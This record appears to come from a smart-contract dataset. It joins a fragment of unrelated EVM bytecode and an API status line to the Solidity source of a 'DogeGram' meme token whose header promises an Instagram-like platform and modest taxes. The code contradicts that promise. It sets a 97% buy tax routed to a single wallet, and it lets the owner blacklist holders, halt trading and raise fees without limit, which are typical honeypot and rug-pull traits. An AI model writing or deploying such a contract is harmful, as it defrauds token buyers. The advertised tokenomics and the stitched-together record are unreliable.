1561099e57600080fd5b506001600160a01b03813581169160208101358216916040820135169060608101359060808101359060a00135612469565b6102a9600480360360e08110156109e657600080fd5b506001600160a01b03813581169160208101358216916040820135169060608101359060808101359060a08101359060c0013561252d565b6102a9600480360360a0811015610a3457600080fd5b506001600160a01b03813581169160208101358216916040820135811691606081013590911690608001356125f5565b6102a9600480360360c0811015610a7a57600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060808101359060a001356126af565b6102a9600480360360a0811015610ac657600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060800135612777565b6102a9600480360360e0811015610b0c57600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359160808201359160a08101359091169060c00135612831565b6102a9600480360360c0811015610b5e57600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060808101359060a001356128fd565b6102a96004803603610160811015610bab57600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060808101359060a08101359060c08101359060e081013590610100810135906101208101359061014001356129c4565b6102a9600480360360a0811015610c1857600080fd5b506001600160a01b03813581169160208101358216916040820135169060608101359060800135612b68565b6102a9600480360360e0811015610c5a57600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060808101359060a08101359060c00135612c1e565b6102a9600480360360a0811015610cac57600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060800135612cea565b6102a9600480360360c0811015610cf257600080fd5b506001600160a01b03813581169160208101358216916040820135169060608101359060808101359060a00135612da4565b6102a9600480360360a0811015610d3a57600080fd5b506001600160a01b03813581169160208101358216916040820135169060608101359060800135612e68565b6102a9600480360360a0811015610d7c57600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060800135612f2b565b6102a9600480360360a0811015610dc257600080fd5b506001600160a01b0381358116916020810135821691604082013581169160608101359091169060800135612fe5565b6102a9600480360360a0811015610e0857600080fd5b506001600160a01b038135811691602081013582169160408201358116916060810135909116906080013561309f565b604080516001600160a01b038781166024808401919091528782166044808501919091526064808501899052608480860189905286518087038201815260a496870188526020810180516001600160e01b031663fe71d56d60e01b1781529751633d0629d960e11b8152868f16600482019081528f3f9682018790529381018a9052608094810194855281519281019290925280519497958f1696637a0c53b2968f968a9693958c9590949301919080838360005b83811015610f05578181015183820152602001610eed565b50505050905090810190601f168015610f325780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610f5457600080fd5b505af1158015610f68573d6000803e3d6000fd5b505050505050505050505050565b6000883f9050896001600160a01b0316637a0c53b28a838b8b8b8b8b8b60405160240180876001600160a01b03166001600160a01b03168152602001866001600160a01b03166001600160a01b031681526020018581526020018481526020018381526020018281526020019650505050505050604051602081830303815290604052636ea83dd360e01b6001600160e01b0319166020820180516001600160e01b038381831617835250505050866040518563ffffffff1660e01b815260040180856001600160a01b03166001600160a01b0316815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b8381101561109557818101518382015260200161107d565b50505050905090810190601f1680156110c25780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156110e457600080fd5b505af11580156110f8573d6000803e3d6000fd5b5050505050505050505050505050565b604080516001600160a01b03858116602480840191909152858216604480850191909152845180850382018152606494850186526020810180516001600160e01b031663144e8e7960e31b1781529551633d0629d960e11b8152848b16600482019081528b3f94820185905295810188905260809281019283528151608482015281519396948c1695637a0c53b2958c9589958b94909260a49091019180838360005b838110156111c35781810151838201526020016111ab565b50505050905090810190601f1680156111f05780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561121257600080fd5b505af1158015611226573d6000803e3d6000fd5b50505050505050505050565b604080516001600160a01b038681166024808401919091528682166044808501919091526064808501889052855180860382018152608495860187526020810180516001600160e01b0316633691826360e21b1781529651633d0629d960e11b8152858d16600482019081528d3f958201869052928101899052608093810193845281519681019690965280519396948d1695637a0c53b2958d95899593948b949093909260a49091019180838360005b838110156112fb5781810151838201526020016112e3565b50505050905090810190601f1680156113285780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134a57600080fd5b505af115801561135e573d6000803e3d6000fd5b5050505050505050505050565b604080516001600160a01b03858116602480840191909152858216604480850191909152845180850382018152606494850186526020810180516001600160e01b0316632b8e88b360e01b1781529551633d0629d960e11b8152848b16600482019081528b3f94820185905295810188905260809281019283528151608482015281519396948c1695637a0c53b2958c9589958b94909260a4909101918083836000838110156111c35781810151838201526020016111ab565b604080516001600160a01b03858116602480840191909152858216604480850191909152845180850382018152606494850186526020810180516001600160e01b0316634b03a7e960e11b1781529551633d0629d960e11b8152848b16600482019081528b3f94820185905295810188905260809281019283528151608482015281519396948c1695637a0c53b2958c9589958b94909260a4909101918083836000838110156111c35781810151838201526020016111ab565b604080516001600160a01b038681166024808401919091526044808401889052868316606480860191909152855180860382018152608495860187526020810180516001600160e01b0316630475877360e51b1781529651633d0629d960e11b8152858d16600482019081528d3f958201869052928101899052608093810193845281519681019690965280519396948d1695637a0c53b2958d95899593948b949093909260a4909101918083836000838110156112fb5781810151838201526020016112e3565b6000873f9050886001600160a01b0316637a0c53b289838a8a8a8a8a60405160240180866001600160a01b03166001600160a01b03168152602001858152602001848152602001838152602001826001600160a01b03166001600160a01b0316815260200195505050505050604051602081830303815290604052633389c27d60e11b6001600160e01b0319166020820180516001600160e01b038381831617835250505050866040518563ffffffff1660e01b815260040180856001600160a01b03166001600160a01b0316815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b838110156116be5781810151838201526020016116a6565b50505050905090810190601f1680156116eb5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561170d57600080fd5b505af1158015611721573d6000803e3d6000fd5b50505050505050505050505050565b604080516001600160a01b0386811660248084019190915260448084018890526064808501889052855180860382018152608495860187526020810180516001600160e01b0316636672b13760e01b1781529651633d0629d960e11b8152858d16600482019081528d3f958201869052928101899052608093810193845281519681019690965280519396948d1695637a0c53b2958d95899593948b949093909260a4909101918083836000838110156112fb5781810151838201526020016112e3565b604080516001600160a01b038581166024808401919091526044808401879052845180850382018152606494850186526020810180516001600160e01b031663b66503cf60e01b1781529551633d0629d960e11b8152848b16600482019081528b3f94820185905295810188905260809281019283528151608482015281519396948c1695637a0c53b2958c9589958b94909260a4909101918083836000838110156111c35781810151838201526020016111ab565b604080516001600160a01b03858116602480840191909152858216604480850191909152845180850382018152606494850186526020810180516001600160e01b0316635622b05160e01b1781529551633d0629d960e11b8152848b16600482019081528b3f94820185905295810188905260809281019283528151608482015281519396948c1695637a0c53b2958c9589958b94909260a4909101918083836000838110156111c35781810151838201526020016111ab565b604080516001600160a01b038681166024808401919091528682166044808501919091526064808501889052855180860382018152608495860187526020810180516001600160e01b0316637cc7213560e11b1781529651633d0629d960e11b8152858d16600482019081528d3f958201869052928101899052608093810193845281519681019690965280519396948d1695637a0c53b2958d95899593948b949093909260a4909101918083836000838110156112fb5781810151838201526020016112e3565b604080516001600160a01b038681166024808401919091528682166044808501919091526064808501889052855180860382018152608495860187526020810180516001600160e01b0316636361ddf360e11b1781529651633d0629d960e11b8152858d16600482019081528d3f958201869052928101899052608093810193845281519681019690965280519396948d1695637a0c53b2958d95899593948b949093909260a4909101918083836000838110156112fb5781810151838201526020016112e3565b604080516001600160a01b0387811660248084019190915260448084018990526064808501899052608480860189905286518087038201815260a496870188526020810180516001600160e01b031663079ad3af60e51b1781529751633d0629d960e11b8152868f16600482019081528f3f9682018790529381018a9052608094810194855281519281019290925280519497958f1696637a0c53b2968f968a9693958c95909493019190808383600083811015610f05578181015183820152602001610eed565b604080516001600160a01b0386811660248084019190915260448084018890526064808501889052855180860382018152608495860187526020810180516001600160e01b0316630668924360e41b1781529651633d0629d960e11b8152858d16600482019081528d3f958201869052928101899052608093810193845281519681019690965280519396948d1695637a0c53b2958d95899593948b949093909260a4909101918083836000838110156112fb5781810151838201526020016112e3565b604080516001600160a01b038681166024808401919091528682166044808501919091526064808501889052855180860382018152608495860187526020810180516001600160e01b0316633dae446f60e21b1781529651633d0629d960e11b8152858d16600482019081528d3f958201869052928101899052608093810193845281519681019690965280519396948d1695637a0c53b2958d95899593948b949093909260a4909101918083836000838110156112fb5781810151838201526020016112e3565b604080516001600160a01b03848116602480840191909152835180840382018152604493840185526020810180516001600160e01b0316636e85940f60e11b1781529451633d0629d960e11b815283891660048201908152893f9382018490526064820188905260809582019586528251608483015282519396948b1695637a0c53b2958b958995948b94939260a49091019180838360005b83811015611df9578181015183820152602001611de1565b50505050905090810190601f168015611e265780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611e4857600080fd5b505af1158015611e5c573d6000803e3d6000fd5b505050505050505050565b604080516001600160a01b03878116602480840191909152878216604480850191909152878316606480860191909152608480860189905286518087038201815260a496870188526020810180516001600160e01b031663764838c560e01b1781529751633d0629d960e11b8152868f16600482019081528f3f9682018790529381018a9052608094810194855281519281019290925280519497958f1696637a0c53b2968f968a9693958c95909493019190808383600083811015610f05578181015183820152602001610eed565b604080516001600160a01b03848116602480840191909152835180840382018152604493840185526020810180516001600160e01b0316631809fa0f60e11b1781529451633d0629d960e11b815283891660048201908152893f9382018490526064820188905260809582019586528251608483015282519396948b1695637a0c53b2958b958995948b94939260a490910191808383600083811015611df9578181015183820152602001611de1565b604080516001600160a01b0386811660248084019190915260448084018890526064808501889052855180860382018152608495860187526020810180516001600160e01b03166308eb17f560e01b1781529651633d0629d960e11b8152858d16600482019081528d3f958201869052928101899052608093810193845281519681019690965280519396948d1695637a0c53b2958d95899593948b949093909260a4909101918083836000838110156112fb5781810151838201526020016112e3565b604080516001600160a01b0380871660248084018290526044808501889052855180860382018152606495860187526020810180516001600160e01b0316633690f27160e11b1781529651633d0629d960e11b8152948a16600486019081528a3f938601849052958501889052608091850191825280516084860152805192969395637a0c53b2958b95899593948b94909260a4019190808383600083811015611df9578181015183820152602001611de1565b604080516001600160a01b0387811660248084019190915260448084018990526064808501899052608480860189905286518087038201815260a496870188526020810180516001600160e01b031663434eff7f60e01b1781529751633d0629d960e11b8152868f16600482019081528f3f9682018790529381018a9052608094810194855281519281019290925280519497958f1696637a0c53b2968f968a9693958c95909493019190808383600083811015610f05578181015183820152602001610eed565b604080516001600160a01b038581166024808401919091526044808401879052845180850382018152606494850186526020810180516001600160e01b031663cd4f191b60e01b1781529551633d0629d960e11b8152848b16600482019081528b3f94820185905295810188905260809281019283528151608482015281519396948c1695637a0c53b2958c9589958b94909260a4909101918083836000838110156111c35781810151838201526020016111ab565b604080516001600160a01b0386811660248084019190915260448084018890526064808501889052855180860382018152608495860187526020810180516001600160e01b03166375abab1d60e11b1781529651633d0629d960e11b8152858d16600482019081528d3f958201869052928101899052608093810193845281519681019690965280519396948d1695637a0c53b2958d95899593948b949093909260a4909101918083836000838110156112fb5781810151838201526020016112e3565b604080516001600160a01b0387811660248084019190915260448084018990526064808501899052608480860189905286518087038201815260a496870188526020810180516001600160e01b03166339cc308360e11b1781529751633d0629d960e11b8152868f16600482019081528f3f9682018790529381018a9052608094810194855281519281019290925280519497958f1696637a0c53b2968f968a9693958c95909493019190808383600083811015610f05578181015183820152602001610eed565b604080516001600160a01b0386811660248084019190915260448084018890526064808501889052855180860382018152608495860187526020810180516001600160e01b031663ecf987ef60e01b1781529651633d0629d960e11b8152858d16600482019081528d3f958201869052928101899052608093810193845281519681019690965280519396948d1695637a0c53b2958d95899593948b949093909260a4909101918083836000838110156112fb5781810151838201526020016112e3565b604080516001600160a01b0387811660248084019190915260448084018990526064808501899052608480860189905286518087038201815260a496870188526020810180516001600160e01b031663801b67fd60e01b1781529751633d0629d960e11b8152868f16600482019081528f3f9682018790529381018a9052608094810194855281519281019290925280519497958f1696637a0c53b2968f968a9693958c95909493019190808383600083811015610f05578181015183820152602001610eed565b604080516001600160a01b03858116602480840191909152858216604480850191909152845180850382018152606494850186526020810180516001600160e01b031663c9cf6de760e01b1781529551633d0629d960e11b8152848b16600482019081528b3f94820185905295810188905260809281019283528151608482015281519396948c1695637a0c53b2958c9589958b94909260a4909101918083836000838110156111c35781810151838201526020016111ab565b604080516001600160a01b038681166024808401919091528682166044808501919091526064808501889052855180860382018152608495860187526020810180516001600160e01b0316639bc8c65760e01b1781529651633d0629d960e11b8152858d16600482019081528d3f958201869052928101899052608093810193845281519681019690965280519396948d1695637a0c53b2958d95899593948b949093909260a4909101918083836000838110156112fb5781810151838201526020016112e3565b604080516001600160a01b03858116602480840191909152858216604480850191909152845180850382018152606494850186526020810180516001600160e01b031663baf9d07b60e01b1781529551633d0629d960e11b8152848b16600482019081528b3f94820185905295810188905260809281019283528151608482015281519396948c1695637a0c53b2958c9589958b94909260a4909101918083836000838110156111c35781810151838201526020016111ab565b604080516001600160a01b038781166024808401919091526044808401899052606480850189905287841660848087019190915286518087038201815260a496870188526020810180516001600160e01b0316632ed6eabd60e11b1781529751633d0629d960e11b8152868f16600482019081528f3f9682018790529381018a9052608094810194855281519281019290925280519497958f1696637a0c53b2968f968a9693958c95909493019190808383600083811015610f05578181015183820152602001610eed565b604080516001600160a01b038681166024808401919091528682166044808501919091526064808501889052855180860382018152608495860187526020810180516001600160e01b031662f2cd4760e21b1781529651633d0629d960e11b8152858d16600482019081528d3f958201869052928101899052608093810193845281519681019690965280519396948d1695637a0c53b2958d95899593948b949093909260a4909101918083836000838110156112fb5781810151838201526020016112e3565b60008a3f90508b6001600160a01b0316637a0c53b28c838d8d8d8d8d8d8d8d60405160240180896001600160a01b03166001600160a01b03168152602001886001600160a01b03166001600160a01b03168152602001878152602001868152602001858152602001848152602001838152602001828152602001985050505050505050506040516020818303038152906040526396869ded60e01b6001600160e01b0319166020820180516001600160e01b038381831617835250505050866040518563ffffffff1660e01b815260040180856001600160a01b03166001600160a01b0316815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015612af3578181015183820152602001612adb565b50505050905090810190601f168015612b205780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015612b4257600080fd5b505af1158015612b56573d6000803e3d6000fd5b50505050505050505050505050505050565b604080516001600160a01b038581166024808401919091526044808401879052845180850382018152606494850186526020810180516001600160e01b03166305086e5d60e31b1781529551633d0629d960e11b8152848b16600482019081528b3f94820185905295810188905260809281019283528151608482015281519396948c1695637a0c53b2958c9589958b94909260a4909101918083836000838110156111c35781810151838201526020016111ab565b604080516001600160a01b038781166024808401919091528782166044808501919091526064808501899052608480860189905286518087038201815260a496870188526020810180516001600160e01b0316631693769b60e01b1781529751633d0629d960e11b8152868f16600482019081528f3f9682018790529381018a9052608094810194855281519281019290925280519497958f1696637a0c53b2968f968a9693958c95909493019190808383600083811015610f05578181015183820152602001610eed565b604080516001600160a01b03858116602480840191909152858216604480850191909152845180850382018152606494850186526020810180516001600160e01b031663090a06ad60e31b1781529551633d0629d960e11b8152848b16600482019081528b3f94820185905295810188905260809281019283528151608482015281519396948c1695637a0c53b2958c9589958b94909260a4909101918083836000838110156111c35781810151838201526020016111ab565b604080516001600160a01b0386811660248084019190915260448084018890526064808501889052855180860382018152608495860187526020810180516001600160e01b0316632b0466c560e01b1781529651633d0629d960e11b8152858d16600482019081528d3f958201869052928101899052608093810193845281519681019690965280519396948d1695637a0c53b2958d95899593948b949093909260a4909101918083836000838110156112fb5781810151838201526020016112e3565b604080516001600160a01b0380881660248084018290528783166044808601919091526064808601899052865180870382018152608496870188526020810180516001600160e01b0316636ce37c3b60e11b1781529751633d0629d960e11b8152958c16600487019081528c3f9487018590529186018990526080928601928352805196860196909652855192969395637a0c53b2958c95899592948b9493909260a40191908083836000838110156111c35781810151838201526020016111ab565b604080516001600160a01b03858116602480840191909152858216604480850191909152845180850382018152606494850186526020810180516001600160e01b0316632ed62b4160e11b1781529551633d0629d960e11b8152848b16600482019081528b3f94820185905295810188905260809281019283528151608482015281519396948c1695637a0c53b2958c9589958b94909260a4909101918083836000838110156111c35781810151838201526020016111ab565b604080516001600160a01b03858116602480840191909152858216604480850191909152845180850382018152606494850186526020810180516001600160e01b031663bbcf1a5d60e01b1781529551633d0629d960e11b8152848b16600482019081528b3f94820185905295810188905260809281019283528151608482015281519396948c1695637a0c53b2958c9589958b94909260a4909101918083836000838110156111c35781810151838201526020016111ab565b604080516001600160a01b03858116602480840191909152858216604480850191909152845180850382018152606494850186526020810180516001600160e01b03166310c6309960e01b1781529551633d0629d960e11b8152848b16600482019081528b3f94820185905295810188905260809281019283528151608482015281519396948c1695637a0c53b2958c9589958b94909260a4909101918083836000838110156111c35781810151838201526020016111ab56fea2646970667358221220f359a29efb83b843e2160eed60ff354fb135241f109d45dfe5991fc0a9f3bbba64736f6c63430006070033
{"success": true, "error": null, "results": {}}
232
0x8845bc39e0612cceba7146e06ea970f8d7ebc2d9
/** */ /** DogeGram - The Doge Social Platform The Newest Social Platform on ERC. Elon Musk said it's time for a New Platform, and that's what we're bringing to the game. Powered by the Ethereum Blockchain, Following the success of Dogger, DogeGram will develop an Instagram-like social media platform, powered by the DogeGram Token. Tokenomics: - 1 Billion total supply - 20 Million Max Wallet - 5% Marketing Tax - 2% Reflection - 4% Liquidity Pool Tax Telegram: https://t.me/DogegramERC Website: https://www.DogeGram.net Twitter: https://www.twitter.com/DogeGramE */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DogeGram is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "DogeGram"; string private constant _symbol = "DogeGram"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xBA6F3eBf3Fb1600250596C817907d810c750f33c); address payable private _marketingAddress = payable(0xBA6F3eBf3Fb1600250596C817907d810c750f33c); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
